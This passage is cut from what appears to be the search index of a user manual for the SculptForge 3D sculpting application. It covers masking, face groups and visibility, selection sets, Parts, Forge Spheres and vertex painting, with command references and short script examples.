face group and the mask is cleared (see Face Groups) A drag starts after the cursor moves a few pixels, so a slightly shaky click still inverts. With Mask Lasso or Mask Rectangle, a Ctrl + drag on the background draws that shape; to clear the mask, draw it away from the model, or use Clear."},{"p":"masking.html","c":"Masking","a":"the-masking-sub-palette","h":"The Masking sub-palette","t":"Open Tool > Masking (the Tool palette is in the right tray by default). Every button is one undo step. Control What it does Command Show mask Darken masked areas in the viewport. Mask Pen / Mask Lasso / Mask Rectangle What Ctrl + drag does: paint with the brush, or mask inside a lasso or rectangle. mask_lasso / mask_rect Mask Strength How much each mask stroke or selection masks (0.01 to 1), and the mask value By cavity gives the deepest cavities. Clear Unmask everything. mask_clear Invert Masked becomes free and free becomes masked. mask_invert All Mask every visible vertex. mask_all Blur Soften the mask edges by averaging with neighbouring vertices. mask_blur Sharpen Tighten soft edges, pushing values toward fully masked or free. mask_sharpen Grow Expand the masked region by one ring of edges per pass. mask_grow Shrink Contract the masked region by one ring of edges per pass. mask_shrink passes How many times Blur, Sharpen, Grow and Shrink run (1 to 20 here, default 1). iterations= By cavity Mask concave areas (creases, folds, pores), replacing the current mask. mask_by_cavity threshold How concave a spot must be for By cavity (-0.2 to 0.5, default 0.02). 0 masks anything concave; higher values keep only deep creases. threshold= By face group Mask one face group, replacing the current mask. The number field next to it is the face group id. mask_by_polygroup By border Mask the open edges of the mesh (edges with only one face) and the rings of edges inside them, replacing the current mask, so sculpting keeps the border in place. Uses Mask Strength. A closed mesh has no open edges, and the status bar says so. mask_border Rings How wide By border masks, in rings of edges from the border (1 to 20, default 2; 1 masks the border vertices only). rings= Face Group borders By border also masks where face groups meet. polygroups=true Soft By border fades the mask from the border towards the innermost ring. soft=true Mask operations only change visible parts of the model; hidden parts keep their mask. Clear is the exception and frees everything."},{"p":"masking.html","c":"Masking","a":"protect-detail-while-smoothing","h":"Protect detail while smoothing","t":"Click By cavity to mask the creases and pores. Smooth with Shift. The cavities keep their sharpness while the surface between them relaxes. Ctrl + drag on the background to clear the mask when you're done. Raise threshold if too much is masked; lower Mask Strength for partial protection."},{"p":"masking.html","c":"Masking","a":"sculpt-one-part-only","h":"Sculpt one part only","t":"Paint a mask over the part you want to work on with Ctrl. Ctrl + click the background to invert it. Now everything except that part is protected. Sculpt freely; strokes that cross the edge stop at the mask."},{"p":"masking.html","c":"Masking","a":"mask-a-whole-face-group","h":"Mask a whole face group","t":"The quickest way works without knowing the group's number: Ctrl+Shift + click the group to isolate it (see Face Groups and visibility). Click All: only visible vertices are masked. Ctrl+Shift + click the background to show everything again. The mask stays. By face group masks a group by its id. The viewport doesn't show ids, but the console does: isolate the group, then open the console (`) and read the isolate_face group group=N line. Enter that number in the field next to By face group and click it."},{"p":"masking.html","c":"Masking","a":"sculpt-without-breaking-the-border","h":"Sculpt without breaking the border","t":"A plane, a cloth panel or a part cut from a larger model has an open border that should stay where it is, for example to keep it lined up with the piece it joins: Set Rings to how wide the protected strip should be. Click By border. The open edges and the rings inside them are masked. Sculpt freely; the border doesn't move. Tick Soft first for a gradual transition into the sculpted area. Tick Face Group borders to also protect the seams between face groups. This is Blender's Mask from mesh boundary (and, with face sets, Mask from face set boundary)."},{"p":"masking.html","c":"Masking","a":"a-soft-edged-mask","h":"A soft-edged mask","t":"Paint the mask, then click Blur a few times (or set passes to 3-5 first). Sharpen does the opposite."},{"p":"masking.html","c":"Masking","a":"turn-a-mask-into-a-face-group","h":"Turn a mask into a face group","t":"Click From mask in Tool > Face Groups: the masked triangles become a new face group. See Face Groups and visibility."},{"p":"masking.html","c":"Masking","a":"masks-and-painting","h":"Masks and painting","t":"Vertex Paint respects the mask too: the Paint brush, Rgb strokes and Fill leave masked areas alone, so you can mask an area and fill the rest with a colour. See Vertex Paint and materials."},{"p":"masking.html","c":"Masking","a":"masking-from-a-script","h":"Masking from a script","t":"Command Options mask_clear, mask_all, mask_invert mask_blur, mask_sharpen, mask_grow, mask_shrink iterations (1-100, default 1) mask_by_cavity strength (0-1, default 1), threshold (-1 to 1, default 0.02) mask_by_polygroup group (required), add=true to add to the current mask instead of replacing it mask_border rings (1-20, default 1), polygroups=true to also mask face group borders, soft=true to fade inwards, strength (0-1, default 1), add=true to add to the current mask mask_rect x0 y0 x1 y1 (-1 to 1, y up), unmask, strength (0-1, default 1), optional view_proj matrix; without a view the rectangle spans the mesh seen from the front mask_lasso points (required): the outline as \"x0 y0 x1 y1 ...\", at least 3 points in the same -1 to 1 space; unmask, strength, view_proj as for mask_rect sculptforge-cli -c 'open path=head.obj; mask_by_cavity threshold=0.05; mask_blur iterations=2; save_project path=head.sfproj' Not yet: masking by topology, by normals or by alpha, Mask By Smoothness, and MaskCurve are not available yet."},{"p":"masking.html","c":"Masking","a":"see-also","h":"See also","t":"Face Groups and visibility: groups, isolating and hiding parts Sculpting and brushes: modifier keys and brush settings Vertex Paint and materials: fills that respect the mask"},{"p":"face-groups.html","c":"Face Groups and visibility","a":"","h":"Face Groups and visibility","t":"Face Groups (experienced sculptors: Face groups) divide a Part's surface into named regions, shown as flat colours when you turn them on. You use them to hide and isolate parts of a model so you can reach what you want to sculpt, to build masks, and to split a model into Parts. This chapter covers creating face groups, the Ctrl+Shift visibility gestures and the Tool > Face Groups and Tool > Visibility controls. Face Groups shown as colours, with the Face Groups sub-palette"},{"p":"face-groups.html","c":"Face Groups and visibility","a":"show-face-groups","h":"Show face groups","t":"Click Groups in the right shelf to colour each face group of the active Part. The same toggle is Show face groups in Tool > Face Groups and Show Face Groups in the View menu. The grouping buttons turn the colours on for you, so you see the result straight away. The number next to Show face groups is how many face groups are visible right now. A mesh without face groups is one group. Face Groups come from: the grouping buttons below; OBJ files: each g group becomes a face group (SculptForge also writes face groups as g groups when it exports OBJ); Bridge files and SculptForge projects, which keep face groups."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"create-face-groups","h":"Create face groups","t":"Open Tool > Face Groups. Grouping works on the visible part of the Part only; hidden parts keep their groups. So you can isolate one part and regroup just that part. Control What it does Command By normals A new group wherever the surface turns more than the angle next to it (1 to 90 degrees, default 30). Each flat side of a box becomes its own group. polygroup_auto_by_normals By pieces One group per disconnected piece, such as separate eyes or buttons in one mesh. polygroup_by_connectivity From mask Masked triangles move into a new group. polygroup_from_mask Group by UVs One group per UV island: triangles that touch without a UV seam between them share a group. Needs UVs (Tool > Texture Map > Auto UV or an imported model's). polygroup_uv Merge visible Everything visible becomes one group. polygroup_merge_visible Clear groups Remove all face groups; the whole Part becomes one group again. polygroup_clear Each button is one undo step."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"group-a-region-you-painted","h":"Group a region you painted","t":"Paint a mask over the region with Ctrl (see Masking). Click From mask in Tool > Face Groups. Ctrl + drag on the background to clear the mask."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"hide-and-show-parts","h":"Hide and show parts","t":"Visibility is the main reason to have face groups: hide what is in the way, sculpt what's left, then show everything again. Hidden parts can't be sculpted, painted or masked, so hiding also protects them. All of the gestures use Ctrl+Shift in the viewport (Cmd+Shift on macOS): Gesture Effect Ctrl+Shift + click a face group, everything shown Isolate it: show only that group. Ctrl+Shift + click a face group, something hidden Hide that group. Ctrl+Shift + click the isolated group again Invert the visibility: show everything else instead. Ctrl+Shift+Alt + click a face group Hide that group. Ctrl+Shift + click the background Show everything. Ctrl+Shift + drag a rectangle on the background, around nothing Reverse the visibility. Ctrl+Shift + drag Keep what's inside the rectangle (or lasso), hide the rest. The shape is drawn green. Ctrl+Shift+Alt + drag Hide what's inside the rectangle (or lasso). The shape is drawn red. Whether a drag draws a rectangle or a lasso is set by Select Rectangle and Select Lasso at the top of Tool > Visibility (Select Rectangle by default), or, with Ctrl+Shift held: the left shelf then shows the selection brush, and clicking the brush tile (or pressing B) or the stroke tile picks Select Rectangle or Select Lasso. With Select Lasso, the drag traces a free-hand outline that closes back to where you started; drag around a part as if you were drawing round it with a pen. The drag can start on the model or on the background. Both shapes work in screen space: a triangle counts as inside when its centre falls inside the shape as you see it, including triangles on the far side of the model. A lasso that crosses itself leaves out the areas it encloses twice. You can press or release Alt while dragging; what counts is whether it is held when you let go. With symmetry on (X, Y, Z on the top shelf), the mirror image of the shape counts as inside too, as with the mask selections: keeping the left eye keeps the right one, and hiding one ear hides both (hide_rect / hide_lasso symmetry=x). SculptForge refuses a change that would hide everything. Every visibility change is one undo step, so Ctrl+Z brings back what you just hid."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"the-visibility-sub-palette","h":"The Visibility sub-palette","t":"Open Tool > Visibility: Control What it does Command Select Rectangle / Select Lasso The shape Ctrl+Shift + drag draws: a rectangle or a free-hand lasso. hide_rect / hide_lasso Show all Show every hidden part again. Available when something is hidden. show_all Invert visible Hide what is visible and show what is hidden. invert_visibility Delete hidden Permanently remove the hidden triangles from the mesh. Undoable. delete_hidden Delete hidden keeps every attribute of what remains (mask, vertex paint, face groups, UVs and sculpt layers). Use it to cut away parts of a scan or a generated model, or to remove the inside of a mesh after you isolated the outside."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"work-on-one-part-of-a-character","h":"Work on one part of a character","t":"Click By pieces (for a mesh made of separate parts) or By normals. Ctrl+Shift + click the part you want, for example the head. Sculpt. The rest of the body is hidden and can't be touched. Ctrl+Shift + click the background to show everything."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"clean-up-a-scan-or-a-generated-model","h":"Clean up a scan or a generated model","t":"Turn the model so the unwanted piece is on screen. Ctrl+Shift+Alt + drag a rectangle over it to hide it. For an awkward shape, pick Select Lasso in Tool > Visibility first and draw around it. Click Delete hidden in Tool > Visibility."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"split-a-model-into-parts","h":"Split a model into Parts","t":"Group the model, then click Split groups in Tool > Parts: each face group becomes its own Part. Split parts does the same by disconnected piece. See Parts."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"face-groups-and-other-tools","h":"Face Groups and other tools","t":"Masking: By face group in Tool > Masking masks one group (see Masking). Brushes and vertex paint skip hidden faces. Projects save face groups and what's hidden; Bridge and OBJ carry face groups in and out. Each Part has its own face groups and visibility. To show and hide whole Parts, use the eye icons and Solo in Tool > Parts."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"face-groups-from-a-script","h":"Face Groups from a script","t":"Command Options polygroup_auto_by_normals angle (1-180 degrees, default 30) polygroup_by_connectivity, polygroup_uv, polygroup_from_mask, polygroup_merge_visible, polygroup_clear isolate_polygroup, hide_polygroup group (required): the face group id show_all, invert_visibility, delete_hidden hide_rect x0 y0 x1 y1 (-1 to 1, y up), inside, optional view_proj matrix; without a view the rectangle spans the mesh seen from the front hide_lasso points (required): the outline as \"x0 y0 x1 y1 ...\", at least 3 points in the same -1 to 1 space; inside, view_proj as for hide_rect When you isolate or hide a group in the viewport, the console (`) shows the command with the group's id, for example isolate_polygroup group=3, which you can reuse in scripts. sculptforge-cli -c 'open path=robot.obj; face group_by_connectivity; part_split_groups; save_project path=robot.sfproj' Not yet: a face group paint brush, Group Front, face groups from UV islands or Vertex Paint, and face group-based crease edges are not available yet."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"see-also","h":"See also","t":"Masking: build masks from face groups and face groups from masks Parts: split by groups, show, hide and solo whole Parts Keyboard and mouse reference"},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"","h":"Selection sets and morph targets","t":"A selection set is a named snapshot of a Part's mask, face groups, vertex paint, visibility (which faces are hidden), UVs and shape. Store as many as you like, bring any of them back later, combine them, and use a stored shape as the target of the Morph brush. Sets belong to the Part, travel with the project, and work across its subdivision levels: store at one level, restore at any other."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"store-a-set","h":"Store a set","t":"Open Tool > Selection Sets. Type a name in the field next to Store (it suggests \"Set 1\", then \"Set 2\" and so on). Tick the channels the set should hold: Channel What it keeps Command name Mask The mask, soft edges included. mask Groups The face groups. polygroups Visibility Which faces are shown and which are hidden. visibility Vertex Paint The vertex colours. paint UVs The UV layout (only when the Part has UVs). uvs Shape The surface itself, as a morph target. morph Click Store. Storing again under the same name replaces that set. From Visible is the quick way: it stores the faces shown right now as a set called Visible (then Visible 2, ...). Isolate a part with the Ctrl+Shift gestures (Face Groups and visibility), click From Visible, and you can get back to exactly that view whenever you need it. There is no limit on the number of sets. They are kept compactly: masks, vertex paint and visibility store only the parts that differ from an empty mask, white paint and a fully shown Part, and face groups are run-length coded, so a mask on a few million vertices usually costs a few kilobytes. Shapes and UVs are stored as they are."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"restore-rename-and-delete","h":"Restore, rename and delete","t":"Select a set in the list (hover it to see its channels and the level it was stored at), then: Restore puts its channels back. The shape is not restored here: Morph to Set does that, so you can keep a set with a shape in it and still restore just its mask. Double-clicking a set restores it too. Rename edits its name; Delete removes it. The menu next to From Visible sets how Restore meets what you have now, for the mask and visibility: Mode Mask Visibility Replace The set's mask. The set's shown faces. Union Masked in either. Shown in either. Intersect Masked in both. Shown in both. Subtract Masked now but not in the set. Shown now but not in the set. Every store, restore, rename, delete and combine is one undo step. A set greyed out in the list no longer fits the Part: its topology changed since (a remesh, Dynamic topology, Delete hidden). Undo the change, or delete the set."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"combine-sets","h":"Combine sets","t":"Pick a second set in the menu under Restore, choose Union, Intersect or Subtract above, and click Combine: a new set (\"Head + Arms\", \"Head & Arms\" or \"Head - Arms\") holds the mask and visibility of the two combined that way. Your current mask and visibility are not touched until you restore it."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"subdivision-levels","h":"Subdivision levels","t":"A set remembers the level it was stored at, and restores at any level of the same Part: going down, each vertex and face takes the value of the matching one on the level above, as the levels themselves do; going up, masks and vertex paint are interpolated, face groups and visibility are inherited from the face they lie in, and UVs are interpolated across each face; a shape travels as its difference from that level's own surface, so the detail of the levels in between stays where it is. So you can store a mask at SDiv 1, sculpt at SDiv 5 and restore the mask there, or keep a high-resolution face group set and use it at the base cage. Sets survive Divide, Del Lower, Del Higher and Reconstruct Subdiv as long as the level they were stored at still exists."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"morph-targets","h":"Morph targets","t":"Store a set with Shape ticked to keep the surface as it is now. Then: Morph Target makes it the target of the Morph brush and picks that brush. Strokes pull the surface back toward the stored shape, as much as the brush's strength; Alt pushes away from it. The set's name shows [morph] in the list; Clear Morph Target turns it off. Morph to Set moves the whole surface toward the set's shape by Amount (1 = all the way, 0.5 = halfway, negative values push away), respecting the mask, as one undo step. Both work at any subdivision level, not only the one the shape was stored at, and with sculpt layers (the change goes into the active layer). Use them to undo a sculpting session locally, to blend between two versions of a form, or to keep a neutral pose while you sculpt an expression."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"projects-files-and-other-apps","h":"Projects, files and other apps","t":"Sets are saved in the project with each Part (older versions of SculptForge open such projects and leave the sets out). To move them between Parts, scenes or tools, use the commands: selection_sets_export path=head.sfsets # every set of the active Part (name=... for one) selection_sets_import path=head.sfsets # into the active Part A .sfsets file is a ZIP with a JSON manifest and one small binary file per set. Importing a set that was stored on a different mesh keeps it, but it shows greyed out and can't be restored until the Part has a level it fits. USD (export_usd) writes the sets of each Part inside its Mesh prim: the shown faces of each set as a GeomSubset (sculptforge_set0_visible), its face groups as a partition of GeomSubsets (sculptforge_set0_group7), and its mask and vertex paint as vertex primvars (primvars:sculptforge_set0_mask, ..._color), with the names in sculptforge:selectionSets. Houdini, Maya, Blender and Omniverse read these as ordinary face sets and primvars, and SculptForge turns them back into selection sets when it imports the file. UVs and shapes are not written to USD. OBJ, glTF / GLB, FBX, PLY and STL have no place for named selections, so sets are not written to them (OBJ still writes the current face groups as g groups). Export the sets to a .sfsets file alongside the model instead."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"scripting","h":"Scripting","t":"Every button is a command, so scripts, sculptforge-cli, the MCP server and the AI assistant can use sets: Command What it does selection_set_store name=Head channels=mask,visibility Store (or replace) a set. channels takes mask, polygroups, paint, visibility, uvs, morph or all. selection_set_restore name=Head mode=union Restore; channels= restores some of them (add morph to restore the shape). selection_set_rename name=Head to=Face Rename. selection_set_delete name=Head Delete. selection_set_list json=true List the sets with their channels and levels. selection_set_combine a=Head b=Ears op=union into=HeadEars Combine two sets into a new one. selection_set_from_visible The quick set from the visible faces. selection_set_morph_target name=Rest Make a set the Morph brush's target (empty name: none). selection_set_morph name=Rest amount=0.5 Morph to Set. selection_sets_export / selection_sets_import .sfsets files. In Python (import sculptforge as sf), push and pull sets as NumPy arrays: doc.set_selection_set(\"Eyes\", mask=eye_mask, hidden=hidden_faces) # store from arrays (one undo step) doc.selection_sets # [{'name': 'Eyes', 'channels': [...], ...}] arrays = doc.selection_set(\"Eyes\") # {'mask': ..., 'hidden': ...} at this level sf.run(doc, \"selection_set_restore\", name=\"Eyes\") See Scripting and automation for running commands."},{"p":"parts.html","c":"Parts","a":"","h":"Parts","t":"A scene in SculptForge can hold several separate meshes, called Parts (experienced sculptors: Parts): a body, eyes, teeth, a helmet and a sword can each live in their own Part. This chapter covers the Parts list, selecting, adding, hiding, reordering, merging and splitting Parts, and how they travel through files."},{"p":"parts.html","c":"Parts","a":"how-parts-work","h":"How Parts work","t":"Only the active Part is sculpted, painted, masked or changed by a command. The others are drawn slightly darker and greyer so you can see which one you are working on. Each Part keeps its own mesh, mask, vertex paint, face groups, hidden faces, UVs and sculpt layers. Each Part has its own undo history. Ctrl+Z undoes the last change in the active Part, and switching Parts doesn't lose the history of the others. Adding, deleting, reordering, merging and splitting Parts are not undoable. Merges and deletes ask for confirmation first. The Parts list highlights the active Part. In the Classic layout the title strip also shows it and its place in the list, for example Part Helmet (2/5)."},{"p":"parts.html","c":"Parts","a":"the-parts-list","h":"The Parts list","t":"The list is in Tool > Parts, which is open in the right tray by default. The Parts sub-palette with several Parts, the active one highlighted Each row shows a small picture of the Part, its name, its triangle count and an eye. The pictures are drawn from the model the viewport already has on the graphics card, so they cost almost nothing even on very dense Parts, and they catch up a moment after you stop changing a Part (not during a stroke). To Do this Select a Part Click its row, or Alt+click it in the viewport; triple-click another Part in the viewport to select it and frame it Rename it Double-click the row (or right-click > Rename), type, press Enter Hide or show it Click the eye at the end of the row Duplicate or delete it Right-click the row > Duplicate (Ctrl+Shift+D) or Delete... See its vertex and triangle counts Point at the row for a moment The list shows six rows and scrolls when there are more. Names are kept unique: renaming a Part to a name that is already taken adds a number. Selecting a hidden Part shows it again, because you can't sculpt what you can't see."},{"p":"parts.html","c":"Parts","a":"select-a-part-in-the-viewport","h":"Select a Part in the viewport","t":"Hold Alt and click another Part on the canvas. It becomes the active one and the list scrolls to it. Alt+click only selects when you click a Part other than the active one and release without moving. If you drag instead, Alt keeps its usual meaning: an inverted stroke on the active Part, or a pan when you start off the model."},{"p":"parts.html","c":"Parts","a":"add-a-part","h":"Add a Part","t":"Click Append and choose: Sphere, Cube or Plane: a new primitive placed beside the visible model (to the right, on +X), sized to about a third of the largest visible Part. Insert on the model: choose a shape, then drag on the active Part's surface to add it there as a new face group (the drag sets its size and turns it). With Symmetry X, Y or Z on, a mirrored copy goes on the other side too, in the same undo step; a shape inserted right on a mirror plane isn't doubled. To insert your own mesh, choose Active Part's copy... and pick another Part (it stays as it is), or From file... and pick an .obj, .ply or .glb file; then drag as with the shapes. The mesh is centred, scaled so its largest side matches the drag, and stood on the surface along its own up (+Y) axis. Esc stops inserting. (Command: insert_mesh subtool= or insert_mesh file=.) From file...: a model (.obj, .fbx, .glb, .gltf, .ply, .stl, .GoZ, .usda, .usd, .usdz) or a project (.sfproj). A file with several objects adds one Part per object. The new Part becomes the active one. You can also add files as Parts from elsewhere: Import in the Tool palette header (or File > Import) adds a model file as a new Part. In the Library Tool tab, Shift+double-click a model, or right-click it and choose Append as Part. Tip: Duplicate (Ctrl+Shift+D, also in the command palette as Duplicate Part) copies the active Part with its layers and attributes, names it copy and puts it right under the original. Use it to keep a safe copy before a destructive step such as a remesh."},{"p":"parts.html","c":"Parts","a":"show-hide-and-solo","h":"Show, hide and solo","t":"The eye on each row shows or hides that Part. Solo shows only the active Part. Click it again to bring the others back. The Solo button on the right shelf does the same. X-Ray, next to Solo, shows the active Part through the others: the other Parts turn see-through and only their nearest surface shows. When only the active Part is shown, it is see-through itself. Click X-Ray again to make them solid. View > X-Ray does the same. Unhide all shows every Part. Hidden Parts aren't drawn, can't be selected with Alt+click, and are left out of exports. Note: Part visibility is different from hiding part of a mesh with face groups or a rectangle. That hides faces inside one Part; see Face Groups and visibility."},{"p":"parts.html","c":"Parts","a":"reorder-parts","h":"Reorder Parts","t":"The up and down arrow buttons under the list move the active Part one place up or down. The order matters for Merge down and is the order objects are written to files."},{"p":"parts.html","c":"Parts","a":"merge-parts","h":"Merge Parts","t":"Merge down... merges the active Part with the one below it. Merge visible... merges every visible Part into one new Part called Merged. Hidden Parts stay as they are. Merging keeps every attribute, gives each original mesh its own face groups (so you can split them again later) and matches sculpt layers by name. The merged Part starts with an empty undo history. A Part with subdivision levels is merged (or split) at the level it is on, which becomes the base of the result; the status line names the Parts that lost their levels. Painted textures are kept too: the merged Part gets new Auto UVs and one texture, the size of the largest, holding each part's paint exactly (texture layers are flattened; parts without a texture are white). On big meshes the Auto UV takes a while. Scripts can skip it with keep_texture=false, which drops the textures. Tip: Merge first when you want one voxel remesh to fuse several pieces into a single watertight surface."},{"p":"parts.html","c":"Parts","a":"split-a-part","h":"Split a Part","t":"Split groups makes one Part per face group. It is available when the active Part has more than one face group. Split parts makes one Part per disconnected piece, largest first. Both replace the active Part with the pieces. Because a merge keeps each original mesh in its own face group, Split groups undoes a merge."},{"p":"parts.html","c":"Parts","a":"extract-a-shell","h":"Extract a shell","t":"Extract, in Tool > Parts, makes a new Part from the masked part of the active one: a helmet from the top of a head, a strap, a sleeve, a piece of armour that fits the surface exactly. It works: Mask the part (hold Ctrl and paint, or use Mask Rectangle / Mask Lasso; see Masking). Click Extract. The shell appears as a preview, a Part just below the active one. Change Thick, E Smt, Double, TCorne or TBorder and the preview follows. Click Accept to keep it. Setting What it does Thick The shell's thickness as a share of the Part's size: 0.015 (the default) is 1.5%. Negative grows it inward; 0 makes a single-sided surface E Smt Smooths the extracted edge, which otherwise follows the mask's triangles in steps. 0 keeps it as masked Double Grows the shell both inward and outward from the surface TCorne Triangles instead of quads in the rim where the edge turns sharply (over 50 degrees), so tight corners don't get twisted quads TBorder The whole rim is triangles instead of quads A cap extracted from the masked top of a sphere, shown with its face groups: outer, inner and rim The new Part has three face groups, the outer surface, the inner one and the rim between them (a band of quads), so you can mask, hide or split them apart. Vertex Paint comes with it; hidden faces are left out. Accept is one undo step: Ctrl+Z on the source Part takes the extracted one away again, and redo brings it back. A preview you don't accept goes away as soon as you change the source Part or pick another one, and it is never saved."},{"p":"parts.html","c":"Parts","a":"delete-a-part","h":"Delete a Part","t":"Click Delete... (or right-click a row > Delete...) and confirm. The last Part can't be deleted, and a delete can't be undone."},{"p":"parts.html","c":"Parts","a":"parts-in-files","h":"Parts in files","t":"Format What happens to Parts Project (.sfproj) Every Part is saved with its name, visibility, attributes, layers and active layer OBJ Each visible Part is an o object; on import, o objects become Parts and g groups become face groups glTF / GLB One node and mesh per visible Part, both ways FBX One model per visible Part (with LODs, an LOD group each), both ways USD One Mesh prim per visible Part, both ways Bridge Each visible Part is sent as its own object PLY, STL, splat conversion The visible Parts are merged into one mesh Opening a multi-object file replaces the scene with one Part per object. See Exporting for the details of each format."},{"p":"parts.html","c":"Parts","a":"scripting","h":"Scripting","t":"Every Part action is a command, so you can use them in the console, scripts, Python and MCP agents. Parts are addressed by index (0 is the top of the list) or name; without either, the active one is used. Command What it does subtool_list List the Parts subtool_select index=1 Make a Part active subtool_append type=cube Add a primitive (sphere, cube, plane); path= adds a file; size= (0.05-2, default 0.35) subtool_duplicate Copy a Part subtool_delete name=Helmet Delete a Part subtool_rename to=Body Rename a Part subtool_visibility visible=false Show or hide (toggles when visible is left out) subtool_solo / subtool_show_all Solo the active Part / show every Part subtool_move direction=up Move a Part up or down the list subtool_merge_down / subtool_merge_visible Merge subtool_split_groups / subtool_split_parts Split extract thickness=0.02 smooth=5 double=false Preview an Extract shell from the mask; tcorne / tborder for a triangle rim; accept=true keeps it at once extract_accept / extract_cancel Keep or remove the Extract preview part_append type=sphere name=EyeL size=0.12; part_duplicate; part_rename to=EyeR"},{"p":"parts.html","c":"Parts","a":"see-also","h":"See also","t":"Face Groups and visibility: hide parts of one Part Sculpt layers and blend shapes: layers belong to each Part Exporting: how Parts reach other applications Projects, autosave and snapshots"},{"p":"forge-spheres.html","c":"Forge Spheres","a":"","h":"Forge Spheres","t":"Forge Spheres (experienced sculptors: Forge Spheres) block out an organic base mesh from connected spheres: start from one root sphere, grow a torso, a head, limbs, fingers, a tail or branches from it, set the proportions, look at the skin over them, then turn it into a mesh you sculpt as usual. It is the quickest way to get the structure of a character or creature before any detail."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"make-a-forge-sphere-part","h":"Make a Forge Sphere Part","t":"Tool > Forge Spheres > New Forge Sphere adds a Forge Sphere Part holding one root sphere at the centre and makes it active. It sits in the Parts list like any other Part, so you can block out a creature next to a model you already have. While a Forge Sphere Part is active, dragging on it edits the spheres instead of sculpting. Dragging the background still navigates. The brush ring is hidden; the sphere under the cursor gets an outline instead."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"edit-the-spheres","h":"Edit the spheres","t":"Pick the mode in Tool > Forge Spheres: Mode On a sphere On a link Draw Drag to grow a new sphere from it. It starts on the surface where you pressed; how far you drag sets its size (a click makes one half the size of its parent) Click to add a joint halfway along the link, and drag to place it Move Drag to move it across the screen. The links stretch to follow Moves the sphere at the end of the link Scale Drag up or right to make it bigger, down or left to make it smaller Scales the sphere at the end of the link In every mode, Alt+click a sphere to delete it together with everything that grows from it. The root sphere (orange) always stays. Symmetry (X) mirrors every edit: grow an arm on the right and the left one grows with it, move a leg and its twin moves too. A sphere on the centre line stays on it. Every drag is one step of the Part's undo history, so Ctrl+Z takes back the last sphere you added, moved or scaled. Tip: build the structure first with few spheres (one per joint), set the proportions with Move and Scale, and add joints on links only where a limb needs to bend or swell."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"pointer-only","h":"Pointer only","t":"Everything also works with the pointer alone, without a key held (#8): Drag places child: with it on, a Draw drag on a sphere makes a new sphere half its size and moves it away from its parent as you drag, so one drag places the next joint of a limb. With it off, hold Ctrl while you drag for the same. The selected sphere: the sphere you last clicked or added is outlined in orange. Delete Selected deletes it and everything growing from it, Insert Between adds a joint halfway to the sphere it grows from, and Set as Root makes it the root: the armature keeps its shape and links and grows from there, so the skin doesn't change. Right click a sphere (a click, not a drag: a right drag still turns the view) for a menu with Delete Sphere, Insert Between and Set as Root. Each is one undo step, and Symmetry mirrors Delete and Insert. From a script: zsphere_set_root index=3."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"preview-the-skin","h":"Preview the skin","t":"Preview (A) shows the skin over the spheres instead of the spheres themselves, so you can judge the volumes. The skin is a smooth union of the spheres and the cones between them, with the joints filled out a little. Turn Preview off to edit the spheres again; while it is on, clicks on the model do nothing."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"make-mesh","h":"Make Mesh","t":"Make Mesh builds the skin as a new Part right below the Forge Sphere Part and makes it active: It is watertight and made of quads, ready for the brushes, Dynamic topology, Divide or Quad Remesh. Each link gets its own face group, so you can isolate or mask a limb straight away. Resolution sets how dense it is: cells across the model's longest side. 128 suits a blockout; raise it for thin fingers or tails that come out too thin or broken. The Forge Sphere Part is hidden and kept. To change the proportions later, show and select it, edit the spheres and Make Mesh again. The armature is saved with the project. Tip: for clean edge flow, run Quad Remesh on the new mesh, then Divide and sculpt."},{"p":"forge-spheres.html","c":"Forge Spheres","a":"scripting","h":"Scripting","t":"The same operations are commands (see Scripting): zsphere_new, zsphere_list, zsphere_add, zsphere_set, zsphere_delete, zsphere_insert, zsphere_preview and zsphere_make_mesh. For example, a simple figure: zsphere_new radius=0.5 zsphere_add parent=0 position=0,0.8,0 radius=0.3 zsphere_add parent=0 position=0.9,0.1,0 radius=0.2 symmetry=x zsphere_make_mesh resolution=160"},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"","h":"Vertex Paint and materials","t":"Vertex Paint (experienced sculptors: Vertex Paint) stores a colour on every vertex of the mesh, so you can paint a sculpt without UVs or textures. This chapter covers the Paint brush, painting while you sculpt, fills and cavity paint, picking colours, paint layers with blend modes, and the Lit Sphere materials that change how the model is shaded in the viewport."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"how-vertex-paint-works","h":"How vertex paint works","t":"Colour is stored per vertex. The detail you can paint is limited by how dense the mesh is: on a light mesh, colour edges look soft. Subdivide or remesh at a higher resolution before fine painting. Painting respects the mask (masked areas keep their colour) and skips hidden faces. Symmetry works for painting as it does for sculpting. Vertex Paint is per Part and is saved in projects. It is exported as vertex colours to PLY, glTF/GLB, OBJ, USD (displayColor) and Bridge files. FBX export doesn't include it. A mesh starts without vertex paint. The first paint stroke or fill adds it (white everywhere you haven't painted). Texture painting: to paint finer than the mesh, give the Part a texture and paint into it instead; the Paint brush, fills and paint layers work the same way. Vertex Paint > Texture bakes vertex paint into a texture. See Texture painting."},{"p":"vertex-paint.html","c":"Vertex Paint and materials","a":"paint-with-the-paint-brush","h":"Paint with the Paint brush","t":"Press P, click Paint on the top shelf, or pick Paint on the bottom shelf. Choose a colour (see below). Stroke over the model. Draw Size, the stroke type and the alpha work as they do for sculpting; RGB Intensity (I) sets how strongly the colour goes on. While the Paint brush is active: Alt paints back towards white. Shift still smooths the shape. The surface isn't changed. Press P again, or click Sculpt on the top shelf, to go back to sculpting. Vertex Paint on a sculpt 